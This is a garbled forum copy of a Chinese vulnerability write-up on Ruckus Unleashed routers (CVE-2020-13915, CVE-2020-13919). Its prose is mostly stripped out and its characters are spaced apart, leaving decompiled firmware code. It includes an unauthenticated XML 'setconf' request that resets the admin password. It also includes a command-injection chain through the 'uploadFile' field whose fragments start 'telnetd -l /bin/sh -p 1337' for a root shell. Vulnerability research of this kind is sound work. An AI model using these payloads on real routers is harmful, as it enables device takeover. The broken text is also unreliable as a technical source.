[6906] 2020-09-03_Ruckus路由器多个漏洞分析

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-17
2020-09-03_Ruckus路由器多个漏洞分析 R u c k u s   E   2 0 2 0 - 0 9 - 0 3   H 4 l o @ R u c k u s W i - F i R u c k u s C V E - 2 0 2 0 - 1 3 9 1 5   r u c k u s   u n l e a s e d   5   A d m i n     A d m i n   h t t p s : / / s u p p o r t . r u c k u s w i r e l e s s . c o m / s o f t w a r e / 2 3 2 8 - r u c k u s - u n l e a s h e d - a p - 2 0 0 - 8 - 1 0 - 3 - 2 4 3 - g a - s o f t w a r e - f o r - r 6 1 0 使   b i n w a l k                       g h i d r a     . / w e b / a d m i n / _ w l a _ c o n f . j s p W i t h o u t L o g i n A c c e s s C h e c k s e s s i o n [ " c i d " ] ' t r u e ' < % D e l e g a t e ( " W i t h o u t L o g i n A c c e s s C h e c k " ,   s e s s i o n [ " c i d " ] , ' t r u e ' ) ; D e l e g a t e ( " A j a x C o n f " ,   s e s s i o n [ " c i d " ] ) ; % > / b i n / e m f d W i t h o u t L o g i n A c c e s s C h e c k
  h t t p     p o s t   d a t a     a c t i o n     s e t c o n f 使       a d m i n         p o s t   d a t a       a d m i n     8   8     v 4 1     v 4 9   . . . i f ( ! s t r c a s e c m p ( a j a x _ a c t i o n , " s e t c o n f " ) ) {             a d m i n _ c h i l d   =   x G e t C h i l d ( v 3 6 , " a d m i n " ) ; i f (   a d m i n _ c h i l d   ! = 0 ) {                 v 3 7   =   s u b _ 6 0 8 9 0 ( a d m i n _ c h i l d ) ; } . . . x G e t C h i l d s u b _ 6 0 8 9 0 < a j a x - r e q u e s t a c t i o n = " s e t c o n f " > < a d m i n / > < a j a x - r e q u e s t / > s u b _ 6 0 8 9 0 . . .     v 4 1   =   a d m i n _ e l e m e n t ;     v 4 2   = " u s e r n a m e " ;     v 4 3   = " f a l l b a c k - l o c a l " ;     v 4 4   = " a u t h s v r - i d " ;     v 4 5   = " a u t h - b y " ;     v 4 6   = " x - p a s s w o r d " ;     v 4 7   = " I S _ P A R T I A L " ;     v 4 8   = " r e s e t " ;     v 4 9   = " a u t h - t o k e n " ;     a t t r n u m   =   x G e t A t t r N u m ( a 1 ) ; . . . i f ( a t t r n u m   ! = 8 ) { r e t u r n - 1 ; }     v 2   =   x A t t r E x i s t s ( v 4 1 ,   v 4 2 ) ; i f ( ! v 2 ) { r e t u r n - 1 ; } . . .
  p o s t   d a t a             g h i d r a     p o s t   d a t a         c o m p     s y s t e m     i f         c o m p         c o m p   使   < a j a x - r e q u e s t a c t i o n = " s e t c o n f " > < a d m i n u s e r n a m e = ' a d m i n ' x - p a s s w o r d = ' x x x x x x ' a u t h - t o k e n = ' ' r e s e t = t r u e I S _ P A R T I A L = ' ' a u t h - b y = ' l o c a l ' a u t h s v r - i d = ' 0 ' f a l l b a c k - l o c a l = ' t r u e ' / > < a j a x - r e q u e s t / > / a d m i n / _ w l a _ c o n f . j s p A j a x C o n f / u s r / l i b / l i b e m f . s o i n t   a d a p t e r _ s e t C o n f ( c h a r * a t t r _ c o m p , u n d e f i n e d 4   x m l s t r ) { . . .         i V a r 3   =   a d a p t e r _ v a l i d a t e C o n f ( x m l s t r ) ; i f ( i V a r 3   = = 0 x 0 ) {                 i V a r 4   =   s t r c m p ( a t t r _ c o m p , " s y s t e m " ) ; i f ( i V a r 4   = = 0 x 0 ) { . . . } }         u V a r 6   =   r e p o G e t C u r r e n t ( a t t r _ c o m p ) ; . . . } a j a x - r e q u e s t r e p o G e t C u r r e n t u n d e f i n e d 4   r e p o G e t C u r r e n t ( u n d e f i n e d 4   u P a r m 1 ) {         u n d e f i n e d 4   u V a r 1 ;         u V a r 1   =   r e p o G e t C u r C h i l d ( u P a r m 1 , 0 x 0 , 0 x 1 ) ; r e t u r n   u V a r 1 ; } r e p o G e t C u r C h i l d p s p r i n t f
    p _ V a r 1                 p o s t   d a t a     a d m i n         a d a p t e r _ s e t C o n f     i f     i f   _ r e p o G e t C a c h e i n t   r e p o G e t C u r C h i l d ( c h a r * p c P a r m 1 , c h a r * p c P a r m 2 , b o o l   b P a r m 3 ) { . . .         p c V a r 2   = ( c h a r * ) p s p r i n t f ( p _ V a r 1 , " % s / a i r e s p i d e r / % s . x m l " , P T R _ D A T _ 0 0 0 a 3 9 c c , p c P a r m 1 ) ;         l o c a l _ c   =   _ r e p o G e t C a c h e ( " C u r r e n t " , p _ V a r 1 , p c P a r m 1 , p c V a r 2 , p c P a r m 2 , b P a r m 3 , f a l s e ) ; . . . } F U N _ 0 0 0 5 4 a e c _ s h a s h _ i n s e r t p s p r i n t f
  c o m p         s t r c m p     i f     s y s t e m . x m l     a d m i n     a d m i n   访   r u c k u s   u n l e a s e d       C V E - 2 0 2 0 - 1 3 9 1 9     r u c k u s   u n l e a s e d     / w e b         i f     c h e c k     r e p o G e t C u r r e n t / s y s t e m / e t c / a i r e s p i d e r - d e f a u l t / / s y s t e m . x m l / a d m i n / _ w l a _ c o n f . j s p h t t p s : / / s u p p o r t . r u c k u s w i r e l e s s . c o m / s o f t w a r e / 2 3 2 8 - r u c k u s - u n l e a s h e d - a p - 2 0 0 - 8 - 1 0 - 3 - 2 4 3 - g a - s o f t w a r e - f o r - r 6 1 0 / w e b / a d m i n / _ c m d s t a t . j s p A j a x C m d S t a t
                      p o s t   d a t a     x c m d     x c m d     c m d   < % D e l e g a t e ( " S e s s i o n C h e c k " ,   s e s s i o n [ " c i d " ] , ' t r u e ' ) ; v a r   h t t p R e q   =   r e q u e s t [ " h e a d e r s " ] ; D e l e g a t e ( " C s r f T o k e n C h e c k " ,   s e s s i o n [ " c i d " ] ,   h t t p R e q . H T T P _ X _ C S R F _ T O K E N ) ; i f ( s e s s i o n [ " c s r f A c c e p t e d " ] = = ' t r u e ' ) { D e l e g a t e ( " A j a x C m d S t a t " ,   s e s s i o n [ " c i d " ] ) ; } % > / b i n / e m f d A j a x C m d S t a t A j a x C m d S t a t _ i m p l v o i d A j a x C m d S t a t ( u n d e f i n e d 4   u P a r m 1 , u n d e f i n e d 4   u P a r m 2 ) { A j a x C m d S t a t _ i m p l ( u P a r m 1 , u P a r m 2 , 0 x 0 , 0 x 0 , 0 x 0 ) ; r e t u r n ; } A j a x C m d S t a t _ i m p l a d a p t e r _ d o C o m m a n d a d a p t e r _ d o C o m m a n d d o C o m m a n d
  c m d         i n t   _ _ f a s t c a l l   d o C o m m a n d ( i n t   a 1 ) { . . .     v 1   =   x G e t A t t r S t r i n g ( a 1 , " c m d " , 0 ) ;     s 1   =   v 1 ; i f ( ! s t r c m p ( s 1 , " g e t - f e a t u r e s " ) ) r e t u r n   s u b _ B C 9 D C ( 0 ) ;     v 1 7   =   s t r c m p ( s 1 , " g e t - f e a t u r e - m a x a p " ) ; i f ( ! v 1 7   ) r e t u r n   s u b _ B C 9 0 4 ( v 1 7 ,   v 1 8 ,   v 1 9 ) ;     v 1 7   =   s t r c m p ( s 1 , " g e t - f e a t u r e - v a l u e " ) ; i f ( ! v 1 7   ) r e t u r n   s u b _ B C 9 0 4 ( v 1 7 ,   v 1 8 ,   v 1 9 ) ; i f ( ! s t r c m p ( s 1 , " g e t - u r l f i l t e r i n g - m a x a p " ) ) r e t u r n   s u b _ B B E 9 4 ( 0 ,   v 2 0 ,   v 2 1 ) ; i f ( ! s t r c m p ( s 1 , " g e t - m a x c l i e n t " ) ) r e t u r n   s u b _ B B 6 4 C ( 0 ,   v 2 2 ,   v 2 3 ) ; . . . i f ( ! s t r c m p ( s 1 , " i m p o r t - a v p p o r t " ) ) r e t u r n   s u b _ C 1 E 0 8 ( v 2 1 1 ) ; . . . } i m p o r t - a v p p o r t s u b _ C 1 E 0 8 i n t   _ _ f a s t c a l l   s u b _ C 1 E 0 8 ( i n t   x c m d ) { . . .     v 1   =   x G e t A t t r S t r i n g ( x c m d , " u p l o a d F i l e " , & u n k _ 2 3 3 8 0 C ) ;     f i l e n a m e   =   v 1 ;     v 1 0   =   i s _ v a l i d a t e _ i n p u t _ s t r i n g ( f i l e n a m e ) ; i f ( ! v 1 0 ) { r e t u r n - 1 ; } . . .     m e m s e t ( & s , 0 , 0 x 1 0 0 u ) ;     s n p r i n t f ( & s , 0 x 1 0 0 u , " c p   % s   / e t c / a i r e s p i d e r / " ,   f i l e n a m e ) ;     s y s t e m ( & s ) ; . . . }
  x c m d     x c m d               s y s t e m         t     p a y l o a d     s y s t e m   u p l o a d F i l e i s _ v a l i d a t e _ i n p u t _ s t r i n g s n p r i n t f i s _ v a l i d a t e _ i n p u t _ s t r i n g u s r / l i b / l i b e m f . s o u n d e f i n e d 4   i s _ v a l i d a t e _ i n p u t _ s t r i n g ( c h a r * p c P a r m 1 ) { s i z e _ t   s V a r 1 ; c h a r * p c V a r 2 ; i n t   l o c a l _ c ; i f ( p c P a r m 1   ! =   N U L L ) {                 s V a r 1   =   s t r l e n ( p c P a r m 1 ) ;                 l o c a l _ c   = 0 x 0 ; w h i l e ( l o c a l _ c   < ( i n t ) s V a r 1 ) {                         p c V a r 2   =   s t r c h r ( " $ ; & ( ) | < > ' " `   " , ( u i n t ) ( b y t e ) p c P a r m 1 [ l o c a l _ c ] ) ; i f ( p c V a r 2   ! =   N U L L ) { r e t u r n 0 x f f f f f f f f ; }                         l o c a l _ c   =   l o c a l _ c   + 0 x 1 ; } } r e t u r n 0 x 0 ; } $ ; & ( ) | < > ' " ` # ! / b i n / s h n # ! / b i n / s h n t e l n e t d t - l / b i n / s h t - p 1 3 3 7
t n 1 .   h t t p s : / / s u p p o r t . r u c k u s w i r e l e s s . c o m / s e c u r i t y _ b u l l e t i n s / 3 0 4 2 .   h t t p s : / / w w w . y o u t u b e . c o m / w a t c h ? v = Y t 3 m J l n O D H U 3 .   h t t p s : / / a l e p h s e c u r i t y . c o m / 2 0 2 0 / 0 1 / 1 4 / r u c k u s - w i r e l e s s / 4 .   h t t p s : / / w w w . y o u t u b e . c o m / w a t c h ? v = Y t 3 m J l n O D H U E   h t t p s : / / w w w . e a s y a q . c o m 5 G   2 8 0 仿 线   E
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则